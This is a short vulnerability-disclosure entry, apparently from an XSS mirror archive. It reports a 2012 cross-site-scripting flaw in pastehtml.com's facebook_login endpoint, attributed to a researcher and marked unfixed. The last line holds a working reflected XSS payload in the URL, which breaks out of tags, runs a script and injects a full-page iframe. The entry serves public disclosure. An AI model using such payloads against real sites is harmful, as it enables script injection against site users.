Security researcher flexxpoint, has submitted on 03/02/2012 a cross-site-scripting (XSS) vulnerability affecting pastehtml.com, which at the time of submission ranked 18473 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 06/02/2012. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.
Vulnerable URL: http://pastehtml.com/api/facebook_login?go='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(/i%20cant%20block/)%3C/script%3E%3Ciframe%20src=http://www.reddit.com/r/xss/%20height=100%25%20%20%20width=100%25%3E